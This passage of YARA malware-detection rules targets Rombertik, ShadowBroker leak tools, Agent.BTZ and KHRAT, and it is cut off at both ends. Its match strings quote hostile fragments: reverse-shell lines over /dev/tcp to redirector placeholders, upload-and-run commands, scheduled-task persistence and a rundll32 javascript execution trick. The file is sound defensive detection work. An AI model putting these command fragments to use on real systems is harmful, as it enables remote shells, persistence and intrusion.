		reference = "http://blogs.cisco.com/security/talos/rombertik"
		date = "2015-05-05"
		hash1 = "2f9b26b90311e62662c5946a1ac600d2996d3758"
		hash2 = "aeb94064af2a6107a14fd32f39cb502e704cd0ab"
		hash3 = "c2005c8d1a79da5e02e6a15d00151018658c264c"
		hash4 = "98223d4ec272d3a631498b621618d875dd32161d"
		id = "b3aee336-9f3b-5fae-928d-8357408a7b69"

	strings:
		$x1 = "ZwGetWriteWatch" fullword ascii
		$x2 = "OutputDebugStringA" fullword ascii
		$x3 = "malwar" fullword ascii
		$x4 = "sampl" fullword ascii
		$x5 = "viru" fullword ascii
		$x6 = "sandb" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5MB and all of them
}

rule Rombertik_CarbonGrabber_Panel_InstallScript
{
	meta:
		description = "Detects CarbonGrabber alias Rombertik panel install script - file install.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blogs.cisco.com/security/talos/rombertik"
		date = "2015-05-05"
		hash = "cd6c152dd1e0689e0bede30a8bd07fef465fbcfa"
		id = "f6c04e27-bbab-5012-a4f9-71d49d252b83"

	strings:
		$s0 = "$insert = \"INSERT INTO `logs` (`id`, `ip`, `name`, `host`, `post`, `time`, `bro" ascii
		$s3 = "`post` text NOT NULL," fullword ascii
		$s4 = "`host` text NOT NULL," fullword ascii
		$s5 = ") ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;\" ;" fullword ascii
		$s6 = "$db->exec($columns); //or die(print_r($db->errorInfo(), true));;" fullword ascii
		$s9 = "$db->exec($insert);" fullword ascii
		$s10 = "`browser` text NOT NULL," fullword ascii
		$s13 = "`ip` text NOT NULL," fullword ascii

	condition:
		filesize < 3KB and all of them
}

rule Rombertik_CarbonGrabber_Panel
{
	meta:
		description = "Detects CarbonGrabber alias Rombertik Panel - file index.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blogs.cisco.com/security/talos/rombertik"
		date = "2015-05-05"
		hash = "e6e9e4fc3772ff33bbeeda51f217e9149db60082"
		id = "f6c04e27-bbab-5012-a4f9-71d49d252b83"

	strings:
		$s0 = "echo '<meta http-equiv=\"refresh\" content=\"0;url=index.php?a=login\">';" fullword ascii
		$s1 = "echo '<meta http-equiv=\"refresh\" content=\"2;url='.$website.'/index.php?a=login" ascii
		$s2 = "header(\"location: $website/index.php?a=login\");" fullword ascii
		$s3 = "$insertLogSQL -> execute(array(':id' => NULL, ':ip' => $ip, ':name' => $name, ':" ascii
		$s16 = "if($_POST['username'] == $username && $_POST['password'] == $password){" fullword ascii
		$s17 = "$SQL = $db -> prepare(\"TRUNCATE TABLE `logs`\");" fullword ascii

	condition:
		filesize < 46KB and all of them
}

rule Rombertik_CarbonGrabber_Builder
{
	meta:
		description = "Detects CarbonGrabber alias Rombertik Builder - file Builder.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blogs.cisco.com/security/talos/rombertik"
		date = "2015-05-05"
		hash = "b50ecc0ba3d6ec19b53efe505d14276e9e71285f"
		id = "3233c139-ac06-576c-9870-51306d5aa385"

	strings:
		$s0 = "c:\\users\\iden\\documents\\visual studio 2010\\Projects\\FormGrabberBuilderC++" ascii
		$s1 = "Host(www.panel.com): " fullword ascii
		$s2 = "Path(/form/index.php?a=insert): " fullword ascii
		$s3 = "FileName: " fullword ascii
		$s4 = "~Rich8" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 35KB and all of them
}

rule Rombertik_CarbonGrabber_Builder_Server
{
	meta:
		description = "Detects CarbonGrabber alias Rombertik Builder Server - file Server.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blogs.cisco.com/security/talos/rombertik"
		date = "2015-05-05"
		hash = "895fab8d55882eac51d4b27a188aa67205ff0ae5"
		id = "742003a2-3716-5ad9-a720-b9e2be71554a"

	strings:
		$s0 = "C:\\WINDOWS\\system32\\svchost.exe" fullword ascii
		$s3 = "Software\\Microsoft\\Windows\\Currentversion\\RunOnce" fullword ascii
		$s4 = "chrome.exe" fullword ascii
		$s5 = "firefox.exe" fullword ascii
		$s6 = "chrome.dll" fullword ascii
		$s7 = "@KERNEL32.DLL" fullword wide
		$s8 = "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome" ascii
		$s10 = "&post=" fullword ascii
		$s11 = "&host=" fullword ascii
		$s12 = "Ws2_32.dll" fullword ascii
		$s16 = "&browser=" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and 8 of them
}

rule FVEY_ShadowBroker_Auct_Dez16_Strings
{
	meta:
		description = "String from the ShodowBroker Files Screenshots - Dec 2016"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		id = "b1454c5d-01bc-599b-815c-aa1a3c52be3f"

	strings:
		$s1 = "bs.ratload" fullword ascii
		$s2 = "Auditcleaner" fullword ascii
		$s3 = "bll.perlbind" fullword ascii
		$s4 = "bll.perlcallback" fullword ascii
		$s5 = "bll.telnet" fullword ascii
		$s6 = "bll.tnc.gr" fullword ascii
		$s7 = "clean_wtmps.py" fullword ascii
		$s8 = "cmsex.auto" fullword ascii
		$s9 = "cottonaxe" fullword ascii
		$s10 = "dectelnet.sh" fullword ascii
		$s11 = "elatedmonkey" fullword ascii
		$s12 = "electricslide.pl" fullword ascii
		$s13 = "endlessdonut" fullword ascii
		$s14 = "solaris8shellcode" fullword ascii
		$s15 = "solaris9shellcode" fullword ascii
		$s16 = "solaris10shellcode" fullword ascii
		$s17 = "ys.ratload.sh" fullword ascii
		$elf1 = "catflap" fullword ascii
		$elf2 = "charm_penguin" fullword ascii
		$elf3 = "charm_hammer" fullword ascii
		$elf4 = "charm_saver" fullword ascii
		$elf5 = "dampcrowd" fullword ascii
		$elf7 = "dubmoat" fullword ascii
		$elf8 = "ebbshave" fullword ascii
		$elf9 = "eggbasket" fullword ascii
		$elf10 = "toffeehammer" fullword ascii
		$elf11 = "enemyrun" fullword ascii
		$elf12 = "envoytomato" fullword ascii
		$elf13 = "expoxyresin" fullword ascii
		$elf14 = "estopmoonlit" fullword ascii
		$elf15 = "linux-exactchange" fullword ascii
		$elf17 = "ghost_sparc" fullword ascii
		$elf18 = "jackpop" fullword ascii
		$elf19 = "orleans_stride" fullword ascii
		$elf20 = "prokserver" fullword ascii
		$elf21 = "seconddate" fullword ascii
		$elf22 = "shentysdelight" fullword ascii
		$elf23 = "skimcountry" fullword ascii
		$elf24 = "slyheretic" fullword ascii
		$elf25 = "stoicsurgeon" fullword ascii
		$elf26 = "strifeworld" fullword ascii
		$elf27 = "suaveeyeful" fullword ascii
		$elf28 = "suctionchar" fullword ascii
		$elf29 = "vs.attack.linux" fullword ascii
		$pe1 = "charm_razor" fullword ascii wide
		$pe2 = "charm_saver" fullword ascii wide
		$pe3 = "ghost_x86" fullword ascii wide

	condition:
		( uint16( 0 ) == 0x457f and 1 of ( $elf* ) ) or ( uint16( 0 ) == 0x5a4d and 1 of ( $pe* ) ) or 1 of ( $s* )
}

rule FVEY_ShadowBroker_violetspirit
{
	meta:
		description = "Auto-generated rule - file violetspirit.README"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
		id = "4efea734-8cbc-53f7-bf92-5b3253721a81"

	strings:
		$x1 = "-i tgt_ipaddr -h tgt_hostname" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_gr_gr
{
	meta:
		description = "Auto-generated rule - file gr.notes"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "b2b60dce7a4cfdddbd3d3f1825f1885728956bae009de3a307342fbdeeafcb79"
		id = "c233159d-8d78-575b-b32b-21f704debfe2"

	strings:
		$s4 = "delete starting from: (root) LIST (root)" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_yellowspirit
{
	meta:
		description = "Auto-generated rule - file user.tool.yellowspirit.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "a7c4b718fa92934a9182567288146ffa3312d9f3edc3872478c90e0e2814078c"
		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"

	strings:
		$s1 = "-l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999" fullword ascii
		$s2 = "-s PITCH_IP -x PITCH_IP -y RHP-24 TARGET_IP" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_eleganteagle_opscript_1_0_0
{
	meta:
		description = "Auto-generated rule - file eleganteagle_opscript.1.0.0.6"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "57e223318de0a802874642652b3dc766128f25d7e8f320c6f04c6f2659bb4f7f"
		id = "22855519-160c-57cf-b610-a611ca6813ed"

	strings:
		$x3 = "uploadnrun -e \"D=-ucIP_ADDRESS_OF_REDIR" ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_opscript
{
	meta:
		description = "Auto-generated rule - file opscript.se"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "275c91531a9ac5a240336714093b6aa146b8d7463cb2780cfeeceaea4c789682"
		id = "d00752a3-d5c2-53a7-9a83-ad31cfb534af"

	strings:
		$s1 = "ls -l /tmp) | bdes -k 0x4790cae5ec154ccc|" ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_shentysdelight
{
	meta:
		description = "Auto-generated rule - file user.tool.shentysdelight.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "a564efeaae9c13fe09a27f2d62208a1dec0a19b4a156f5cfa96a0259366b8166"
		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"

	strings:
		$s1 = "echo -ne \"/var/run/COLFILE\\0\"" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_epichero
{
	meta:
		description = "Auto-generated rule - file user.tool.epichero.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "679d194c32cbaead7281df9afd17bca536ee9d28df917b422083ae8ed5b5c484"
		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"

	strings:
		$x2 = "-irtun TARGET_IP ISH_CALLBACK_PORT"
		$x3 = "-O REVERSE_SHELL_CALLBACK_PORT -w HIDDEN_DIR" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool
{
	meta:
		description = "Auto-generated rule - file user.tool.elatedmonkey"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "98ae935dd9515529a34478cb82644828d94a2d273816d50485665535454e37cd"
		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"

	strings:
		$x5 = "ELATEDMONKEY will only work of apache executes scripts" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_dubmoat
{
	meta:
		description = "Auto-generated rule - file user.tool.dubmoat.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "bcd4ee336050488f5ffeb850d8eaa11eec34d8ba099b370d94d2c83f08a4d881"
		id = "d6c0a00b-dda9-587f-a867-f3b632edd494"

	strings:
		$s1 = "### Verify version on target:" fullword ascii
		$s2 = "/current/bin/ExtractData ./utmp > dub.TARGETNAME" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_strifeworld
{
	meta:
		description = "Auto-generated rule - file strifeworld.1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "222b00235bf143645ad0d55b2b6839febc5b570e3def00b77699915a7c9cb670"
		id = "a15c2034-8394-5e62-a5f0-d1506c19e585"

	strings:
		$s4 = "-p -n.\" strifeworld" fullword ascii
		$s5 = "Running STRIFEWORLD not protected" ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_pork
{
	meta:
		description = "Auto-generated rule - file user.tool.pork.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "9c400aab74e75be8770387d35ca219285e2cedc0c7895225bbe567ce9c9dc078"
		id = "ee5f88b1-6e58-5288-8b80-0d3d188e1ac6"

	strings:
		$x2 = "packrat -z RAT_REMOTE_NAME" fullword ascii
		$s3 = "./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT" ascii
		$s4 = "mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/RED" ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_ebbisland
{
	meta:
		description = "Auto-generated rule - file user.tool.ebbisland.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "390e776ae15fadad2e3825a5e2e06c4f8de6d71813bef42052c7fd8494146222"
		id = "fd312ba2-d590-5007-875c-008553c2b1b9"

	strings:
		$x1 = "-t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X"
		$x2 = "-N -A SPECIFIC_SHELLCODE_ADDRESS" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_stoicsurgeon
{
	meta:
		description = "Auto-generated rule - file user.tool.stoicsurgeon.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "967facb19c9b563eb90d3df6aa89fd7dcfa889b0ba601d3423d9b71b44191f50"
		id = "2ff22b17-4922-54d7-bbd8-a5ff40b6ebe5"

	strings:
		$x1 = "echo -n TARGET_HOSTNAME  | sed '/\\n/!G;s/\\(.\\)\\(.*\\n\\)/&\\2\\1/;//D;s/.//'" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_elgingamble
{
	meta:
		description = "Auto-generated rule - file user.tool.elgingamble.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "4130284727ddef4610d63bfa8330cdafcb6524d3d2e7e8e0cb34fde8864c8118"
		id = "344e5d5e-9fd6-5a32-ba98-945f5a35a116"

	strings:
		$x2 = "### Local exploit for" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_README_cup
{
	meta:
		description = "Auto-generated rule - file README.cup.NOPEN"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "98aaad31663b89120eb781b25d6f061037aecaeb20cf5e32c36c68f34807e271"
		id = "876f3d99-cc6d-568a-a202-1b4938436303"

	strings:
		$s3 = "-F file(s)   Full path to target's \"fuser\" program." fullword ascii
		$s4 = "done after the RAT is killed." fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_nopen_oneshot
{
	meta:
		description = "Auto-generated rule - file oneshot.example"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "a85b260d6a53ceec63ad5f09e1308b158da31062047dc0e4d562d2683a82bf9a"
		id = "6a6b5426-f559-5668-a2ed-982801933302"

	strings:
		$s1 = "/sbin/sh -c (mkdir /tmp/.X11R6; cd /tmp/.X11R6 && telnet" ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_earlyshovel
{
	meta:
		description = "Auto-generated rule - file user.tool.earlyshovel.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "504e7a376c21ffbfb375353c5451dc69a35a10d7e2a5d0358f9ce2df34edf256"
		id = "d2640f9f-8934-5095-9c30-f24941685c9e"

	strings:
		$x1 = "--tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT" ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_user_tool_envisioncollision
{
	meta:
		description = "Auto-generated rule - file user.tool.envisioncollision.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		hash1 = "2f04f078a8f0fdfc864d3d2e37d123f55ecc1d5e401a87eccd0c3846770f9e02"
		id = "a738e270-a3ea-5d38-8933-797d1bd9036a"

	strings:
		$x1 = "-i<IP> -p<port> -U<user> -P<password> -D<directory> -c<commands>" fullword ascii
		$x2 = "sh</dev/tcp/REDIR_IP/SHELL_PORT>&0" fullword ascii
		$x3 = "-n ENVISIONCOLLISION" ascii
		$x4 = "-UADMIN -PPASSWORD -i127.0.0.1 -Dipboard" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_Gen_Readme1
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		super_rule = 1
		hash1 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
		hash2 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
		hash3 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
		id = "1f5e3ab1-e0d1-589e-8c18-60c4ad07ee6e"

	strings:
		$x1 = "ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_Gen_Readme2
{
	meta:
		description = "Auto-generated rule - from files user.tool.orleansstride.COMMON, user.tool.curserazor.COMMON"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		super_rule = 1
		hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
		hash2 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
		id = "5959d881-2989-582c-abe2-48c76ce0e995"

	strings:
		$x1 = "#####  Upload the encrypted phone list as awk, modify each parser command to have the" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_Gen_Readme3
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		super_rule = 1
		hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
		hash2 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
		hash3 = "3fe78949a9f3068db953b475177bcad3c76d16169469afd72791b4312f60cfb3"
		hash4 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
		hash5 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
		hash6 = "89748906d1c574a75fe030645c7572d7d4145b143025aa74c9b5e2be69df8773"
		hash7 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
		id = "41cfbf66-fb7d-5815-939f-06b23dfae746"

	strings:
		$s3 = ":%s/CRYPTKEY/CRYPTKEY/g" fullword ascii

	condition:
		1 of them
}

rule FVEY_ShadowBroker_Gen_Readme4
{
	meta:
		description = "Auto-generated rule - from files violetspirit.README, violetspirit.README"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
		date = "2016-12-17"
		super_rule = 1
		hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
		hash2 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
		id = "9e84e4ab-f74a-59e5-aee2-408a68cd673f"

	strings:
		$s1 = "[-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5" fullword ascii
		$s5 = "[-n tcp_port]    : default use portmapper to determine" fullword ascii

	condition:
		1 of them
}

import "pe"

rule Agent_BTZ_Proxy_DLL_1
{
	meta:
		description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
		date = "2017-08-07"
		hash1 = "9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426"
		hash2 = "628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24"
		id = "f8032616-2a54-5107-b330-65fcc84b866e"

	strings:
		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Modules" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them and pe.exports ( "Entry" ) )
}

import "pe"

rule Agent_BTZ_Proxy_DLL_2
{
	meta:
		description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
		date = "2017-08-07"
		hash1 = "73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88"
		hash2 = "380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac"
		hash3 = "f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2"
		id = "2777443d-6f63-5948-855a-e064a6e0310f"

	strings:
		$s1 = { 38 21 38 2C 38 37 38 42 38 4D 38 58 38 63 38 6E
               38 79 38 84 38 8F 38 9A 38 A5 38 B0 38 BB 38 C6
               38 D1 38 DC 38 E7 38 F2 38 FD 38 08 39 13 39 1E
               39 29 39 34 39 3F 39 4A 39 55 39 60 39 6B 39 76
               39 81 39 8C 39 97 39 A2 39 AD 39 B8 39 C3 39 CE
               39 D9 39 E4 39 EF 39 FA 39 05 3A 10 3A 1B 3A 26
               3A 31 3A 3C 3A 47 3A 52 3A 5D 3A 68 3A 73 3A 7E
               3A 89 3A 94 3A 9F 3A AA 3A B5 3A C0 3A CB 3A D6
               3A E1 3A EC 3A F7 3A }
		$s2 = "activeds.dll" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them and pe.imphash ( ) == "09b7c73fbe5529e6de7137e3e8268b7b"
}

import "pe"

rule Agent_BTZ_Aug17
{
	meta:
		description = "Detects Agent.BTZ"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
		date = "2017-08-07"
		hash1 = "6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96"
		hash2 = "49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e"
		hash3 = "e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49"
		id = "31804208-3edb-554b-8820-e682db647435"

	strings:
		$s1 = "stdole2.tlb" fullword ascii
		$s2 = "UnInstallW" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and all of them and pe.exports ( "Entry" ) and pe.exports ( "InstallW" ) and pe.exports ( "UnInstallW" ) )
}

import "pe"

rule APT_Turla_Agent_BTZ_Gen_1
{
	meta:
		description = "Detects Turla Agent.BTZ"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-06-16"
		score = 80
		hash1 = "c905f2dec79ccab115ad32578384008696ebab02276f49f12465dcd026c1a615"
		id = "d5e1dd3d-4f03-5f79-898b-e612d2758b60"

	strings:
		$x1 = "1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s" fullword ascii
		$s1 = "release mutex - %u (%u)(%u)" fullword ascii
		$s2 = "\\system32\\win.com" ascii
		$s3 = "Command Id:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)" fullword ascii
		$s4 = "MakeFile Error(%d) copy file to temp file %s" fullword ascii
		$s5 = "%s%%s08x.tmp" fullword ascii
		$s6 = "Run instruction: %d ID:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)" fullword ascii
		$s7 = "Mutex_Log" fullword ascii
		$s8 = "%s\\system32\\winview.ocx" fullword ascii
		$s9 = "Microsoft(R) Windows (R) Operating System" fullword wide
		$s10 = "Error: pos(%d) > CmdSize(%d)" fullword ascii
		$s11 = "\\win.com" ascii
		$s12 = "Error(%d) run %s " fullword ascii
		$s13 = "%02d.%02d.%04d Log begin:" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "9d0d6daa47d6e6f2d80eb05405944f87" or ( pe.exports ( "Entry" ) and pe.exports ( "InstallM" ) and pe.exports ( "InstallS" ) ) or $x1 or 3 of them ) or ( 5 of them )
}

import "pe"

rule KHRAT_Malware
{
	meta:
		description = "Detects an Imphash of KHRAT malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
		date = "2017-08-31"
		hash1 = "53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1"
		id = "3e6a5aca-9898-5864-8974-ca4adf272893"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imphash ( ) == "6a8478ad861f98f8428a042f74de1944"
}

rule MAL_KHRAT_script
{
	meta:
		description = "Rule derived from KHRAT script but can match on other malicious scripts as well"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
		date = "2017-08-31"
		hash1 = "8c88b4177b59f4cac820b0019bcc7f6d3d50ce4badb689759ab0966780ae32e3"
		id = "fd345647-4887-560e-a6b2-129a880026aa"

	strings:
		$x1 = "CreateObject(\"WScript.Shell\").Run \"schtasks /create /sc MINUTE /tn" ascii
		$x2 = "CreateObject(\"WScript.Shell\").Run \"rundll32.exe javascript:\"\"\\..\\mshtml,RunHTMLApplication" ascii
